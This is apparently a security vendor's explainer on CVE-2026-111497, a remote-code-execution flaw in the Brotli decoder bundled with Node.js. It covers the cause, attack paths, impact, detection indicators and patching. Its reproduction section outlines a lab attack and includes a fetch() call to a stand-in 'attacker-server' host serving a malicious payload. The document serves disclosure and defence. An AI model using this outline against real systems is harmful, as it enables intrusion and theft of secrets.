CVE-2026-111497: Node.js Brotli Decoder RCE — Node2Shell Explained
A malformed Brotli stream can corrupt memory in any Node.js process that decompresses attacker-controlled data — including through fetch(). CVE-2026-111497 scores 9.2 on CVSS 4.0 and affects every supported Node.js release line. Here's what you need to know.
TL;DR: CVE-2026-111497 is an out-of-bounds write in the Brotli decoder bundled with Node.js (and Google's standalone Brotli library) that enables remote code execution. Scored 9.2 Critical on CVSS 4.0, it affects every supported Node.js release line — 22.x, 24.x, and 26.x — and any process that decompresses attacker-controlled Brotli data, including through fetch(), which decodes Brotli by default. Upgrade to 22.23.4, 24.22.1, or 26.12.1 immediately.Overview
On October 21, 2026, the Node.js project shipped emergency security updates for all three supported release lines, fixing ten vulnerabilities in total. The headline fix was CVE-2026-111497 — an out-of-bounds write in the Brotli decoder that Node.js bundles in deps/brotli and exposes through the node:zlib module. The advisory title states plainly that the bug "permits remote code execution."
The vulnerability exists in Google's Brotli compression library, specifically in the decoder implementation at c/dec/decode.c, affecting Brotli versions 1.0.3 through 1.2.0. When the decoder receives a malformed compressed stream, it writes past the end of its allocated buffer. Because the Brotli decoder runs as native C code inside the Node.js process, that out-of-bounds write lands directly in the process's memory space — giving an attacker a path from crafted input to arbitrary code execution at the privilege level of the Node process.
Google, acting as the CVE Numbering Authority (CNA) for the Brotli library, assigned a CVSS 4.0 score of 9.2 (Critical) with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Tenable independently assessed the CVSS 3.1 score at 9.8 Critical. Node.js rates the vulnerability High in its own severity taxonomy. The flaw is classified under CWE-787: Out-of-Bounds Write.
Imperva's Red Team coined the name "Node2Shell" for this vulnerability after demonstrating full code execution on official Node.js 24.22.0 builds using crafted Brotli data. A second moniker, "HTTP2Shell," emerged on social media in the days following disclosure. The Node.js advisory credits Khai Tran and Sylvie Mayer of OpenAI Codex Security with the report, while Matteo Collina and Antoine du Hamel are credited with the fix.
Technical Analysis
The root cause sits in c/dec/decode.c within Google's Brotli library. The decoder maintains an internal state machine that processes compressed blocks. When a malformed Brotli stream presents an invalid block switch instruction, the decoder fails to validate the write boundaries before copying decoded data into the output ring buffer. This missing bounds check allows the decoder to write past the allocated buffer into adjacent memory.
The upstream fix, commit 0ed4268a, was authored at Google on February 27, 2026 with the description "Detect and report invalid stream earlier." The patch adds a new decoder error code — BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH — which causes the decoder to reject the malformed stream before the out-of-bounds write can occur. Node.js cherry-picked this commit as 49dff6f57a and exposed the new error code through node:zlib so that applications can programmatically detect the rejection.

Attack Vector
The attack vector is network-based and requires no authentication or user interaction. However, the CVSS 4.0 assessment notes attack requirements of "Present" (AT:P), meaning certain preconditions must be met — specifically, the attacker needs the target Node.js process to decompress Brotli data the attacker controls. There are several paths to reach the vulnerable code:
fetch()— the most dangerous path. Node.js's built-infetch()function, powered by undici, automatically decodes Brotli-compressed HTTP responses. This behavior is controlled by the response'sContent-Encodingheader, not by what the request advertised. There is no application-level opt-out. Any service that fetches URLs supplied by users — link previews, webhook handlers, image proxies, web scrapers — can be forced to decompress a malicious Brotli payload from an attacker-controlled server via an outbound request's response.zlib.brotliDecompress()andzlib.createBrotliDecompress(). Applications that explicitly decompress Brotli data from untrusted sources — such as processing compressed request bodies or file uploads — hit the same code path.- Library-mediated paths. HTTP client libraries like
axiosandgotuse Node's Brotli decoder under the hood. Express 5 also reaches the decoder when processing compressed request bodies.
Exploitation Complexity
Imperva researchers demonstrated that exploitation goes beyond theoretical — they achieved full command execution on unpatched official Node.js 24.22.0 builds. Vercel's advisory confirmed that researchers showed both memory disclosure and command execution on unpatched 22.x, 24.x, and 26.x builds. The exploit operates without a debugger, without a custom build, and without local access to the target.
However, the fix commit itself describes the underlying bug as a "low-severity bug that is not easy to exploit," suggesting that crafting a reliable exploit payload requires significant effort. The Oligo Security team noted that a public proof-of-concept reaches code execution on some test builds, indicating that exploit reliability may vary across platforms and architectures.
Business Impact
The blast radius of CVE-2026-111497 is enormous. Node.js underpins a vast portion of the modern web: it powers server-side rendering (Next.js, Nuxt), API backends (Express, Fastify, Hapi), serverless functions (AWS Lambda, Vercel, Cloudflare Workers), CI/CD pipelines, and developer tooling. Any unpatched Node.js process that touches Brotli data from an untrusted source is a potential target.
What an attacker can achieve:
- Remote Code Execution: Run arbitrary commands at the privilege level of the Node.js process. On a typical deployment, that means read/write access to the application's filesystem, environment variables (including secrets and API keys), and network access from the server's position inside the network.
- Memory Disclosure: Read sensitive data from the Node.js process's memory space — session tokens, encryption keys, database credentials, personally identifiable information in transit.
- Denial of Service: Crash the Node.js process, potentially cascading across a horizontally scaled deployment if the exploit is delivered through a shared upstream dependency.
- Lateral Movement: Use the compromised Node process as a foothold to reach internal services, databases, and cloud metadata endpoints.
Regulatory implications are significant. Organisations subject to PCI-DSS, SOC 2, HIPAA, or India's DPDP Act that run unpatched Node.js instances processing external data face compliance exposure. A memory-corruption vulnerability that enables arbitrary code execution and data disclosure triggers breach-notification obligations if exploited.
Supply chain risk compounds the exposure. The bug is in Google's Brotli library, not Node.js's own code. Any software that bundles Brotli versions 1.0.3 through 1.2.0 — including Bun (fixed in 1.4.4), Python's brotli and brotlicffipackages (fixed in 1.2.1 and 1.2.1.0 respectively), and PHP's php-ext-brotli — may carry the same vulnerability. GitHub's advisory (GHSA-9v8h-qqgm-4m35) rates the issue Critical and covers multiple ecosystems.
Exploitation Status
In-the-wild exploitation: As of October 23, 2026, CISA's assessment attached to the NVD record lists exploitation as "none" and automatable as "no", with technical impact of "total." CVE-2026-111497 is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog.
Public proof-of-concept: Imperva's Red Team publicly demonstrated full code execution on official Node.js 24.22.0 builds on October 22, one day after the patch release. Oligo Security confirmed that a public PoC reaches code execution on some test builds. Rapid7's vulnerability database links to a GitHub PoC. The speed of weaponisation — from patch to working exploit in under 24 hours — is notable but consistent with memory corruption vulnerabilities where the patch diff reveals the precise code path.
EPSS score: Not yet available at the time of writing (NVD listed the CVE as "Awaiting Analysis").
Threat actor attribution: No specific threat actor or APT group has been linked to this vulnerability. However, the universal deployment of Node.js across web infrastructure makes this an attractive target for both opportunistic and targeted campaigns.
Community response: The security community reacted swiftly. Vercel deployed WAF rules blocking known exploit patterns within hours of disclosure. Trigger.dev, Bulwark Mail, and other Node.js-based platforms shipped patched releases within 24 hours. The Debian security tracker listed the brotli package as vulnerable with no fix as of October 22, indicating that distribution-level patches lagged behind upstream.
Reproduction Steps
⚠️ Disclaimer: These steps are provided for authorized security testing and educational purposes only. Unauthorized exploitation is illegal and unethical. Always obtain written permission before testing.
Prerequisites
- A vulnerable Node.js installation (any version below 22.23.4, 24.22.1, or 26.12.1)
- An attacker-controlled HTTP server capable of serving crafted Brotli-compressed responses
- A lab environment isolated from production networks
Steps
- Set up a malicious server that responds to any HTTP request with a
Content-Encoding: brheader and a crafted Brotli payload designed to trigger the out-of-bounds write in the decoder's block-switch handling. - From the target Node.js process, issue a
fetch()call to the malicious server. Node.js will automatically attempt to decompress the Brotli response regardless of the request'sAccept-Encodingheader:
// On the vulnerable Node.js process
const response = await fetch('http://attacker-server/payload');
const body = await response.text();
- The decoder processes the malformed stream. The invalid block switch instruction causes the decoder to write past the ring buffer boundary. Depending on the payload, this results in memory disclosure, process crash, or code execution.
Expected Result
On a vulnerable build, the crafted payload causes the Brotli decoder to corrupt adjacent memory. Successful exploitation manifests as either:
- Process crash with a segmentation fault
- Unexpected data in the response (memory disclosure)
- Execution of attacker-supplied commands within the Node.js process context
On a patched build (22.23.4, 24.22.1, 26.12.1), the decoder returns BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH and the stream is rejected before any out-of-bounds access occurs.
Detection
Version Checking
Run the following on every Node.js runtime in your environment:
node -v
Compare against the fixed versions:
| Release Line | Vulnerable | Fixed |
|---|---|---|
| 26.x | < 26.12.1 | 26.12.1 |
| 24.x | < 24.22.1 | 24.22.1 |
| 22.x | < 22.23.4 | 22.23.4 |
| 20.x and older | All versions | No fix — migrate to a supported line |
For containerised deployments, check the Node.js version inside the container image, not just the host:
docker run --rm <image> node -v
Runtime Detection
Oligo Security maps exploitation of this vulnerability to MITRE ATT&CK T1190 (Exploit Public-Facing Application)and flags a detection signature: "Code execution through Node.js zlib decompression."
Post-exploitation indicators to monitor:
- Node.js processes spawning child shells (
/bin/sh,/bin/bash,cmd.exe) - Execution of binaries from
/tmp,/dev/shm, or/var/tmpby a Node.js process tree - Unexpected process exits during Brotli decompression operations
- Anomalous outbound network connections from Node.js processes
Mitigation & Remediation
Immediate Actions
- Patch Node.js. Upgrade to 22.23.4, 24.22.1, or 26.12.1. This is the only complete remediation. The patched decoder rejects malformed streams before any out-of-bounds write occurs.
# Check current version
node -v
# Upgrade via nvm
nvm install 24.22.1
nvm use 24.22.1
# Or update container base images
# FROM node:24.22.1-alpine
- Patch the Brotli library independently if your applications or other runtimes bundle it. Update to Brotli 1.0.10, 1.1.1, or 1.2.1. Bun users should upgrade to 1.4.4. Python users should update
brotlito 1.2.1 andbrotlicffito 1.2.1.0. - Prioritise services that fetch external URLs. Any Node.js service that calls
fetch(),axios,got, or any HTTP client to URLs supplied by users — webhooks, link previews, proxy services, scrapers — is exposed throughfetch()'s automatic Brotli decoding and should be patched first. - Deploy WAF rules as a temporary layer of defence. Vercel deployed WAF rules blocking known inbound exploit patterns within hours of disclosure. However, WAF rules do not cover the outbound vector — when a service fetches a malicious response from an attacker's server, the payload never passes through an inbound WAF.
- Migrate off end-of-life releases. Node.js 20.x (EOL April 30, 2026), 25.x (EOL June 1, 2026), and all older releases bundle vulnerable Brotli and will not receive a fix.
Long-Term Recommendations
- Automate dependency scanning to catch bundled Brotli versions across your software supply chain. The vulnerability affects any software embedding Brotli 1.0.3–1.2.0, not just Node.js.
- Restrict outbound connections from Node.js services to known-good destinations where possible. Network-level segmentation limits the attacker's ability to force decompression of their payload.
- Monitor for anomalous process behaviour from Node.js processes using EDR or runtime application security tools.
Jsmon Recommendation
Organisations using Jsmon's External Attack Surface Management platform can identify exposed Node.js services across their external footprint using the technology fingerprinting and JavaScript analysis modules. Continuous monitoring ensures new deployments running vulnerable Node.js versions are detected as they appear, reducing the window of exposure for vulnerabilities like CVE-2026-111497.
Timeline
| Date | Event |
|---|---|
| 2026-02-27 | Fix committed to google/brotli repository (commit 0ed4268a), with no release or public advisory |
| 2026-04-30 | Node.js 20.x reaches end of life; last release (20.20.2) ships without the fix |
| 2026-10-14 | Node.js pre-announces the October 2026 security release |
| 2026-10-16 | CVE-2026-111497 reserved |
| 2026-10-21 | Node.js releases 22.23.4, 24.22.1, and 26.12.1; advisory published rating CVE-2026-111497 as High |
| 2026-10-21 | Google Brotli project releases 1.0.10, 1.1.1, and 1.2.1, each listing CVE-2026-111497 as a security fix |
| 2026-10-21 | Vercel deploys WAF rules and publishes its security bulletin |
| 2026-10-22 | CVE record published; NVD lists as "Awaiting Analysis" |
| 2026-10-22 | Imperva publicly demonstrates full code execution on Node.js 24.22.0 (Node2Shell) |
| 2026-10-22 | Bun releases 1.4.4 with the Brotli fix |
| 2026-10-23 | CISA assessment: exploitation "none", automatable "no", technical impact "total" |
| 2026-10-23 | GitHub Advisory GHSA-9v8h-qqgm-4m35 reviewed, rated Critical, covering Node.js and Python ecosystems |
References
- NVD — CVE-2026-111497
- Node.js October 2026 Security Releases
- CVE Record — CVE-2026-111497
- Vercel Security Advisory — Brotli Decoder RCE
- GitHub Advisory — GHSA-9v8h-qqgm-4m35
- Node.js v24.22.1 Release Notes
- Node.js v22.23.4 Release Notes
- Tenable — CVE-2026-111497
- Rapid7 — CVE-2026-111497
- Debian Security Tracker — CVE-2026-111497
- Oligo Security — Detection and Mitigation
- Security Arsenal — Node2Shell Detection and Remediation Guide
- Retool — CVE-2026-111497 Disclosure
- Amazon Linux — CVE-2026-111497
- Singapore CSA Alert — AL-2026-154
This article is written by Jsmon Security Research Team but core research owners are Khai Tran and Sylvie Mayer. For continuous external attack surface monitoring and vulnerability detection, visit jsmon.sh.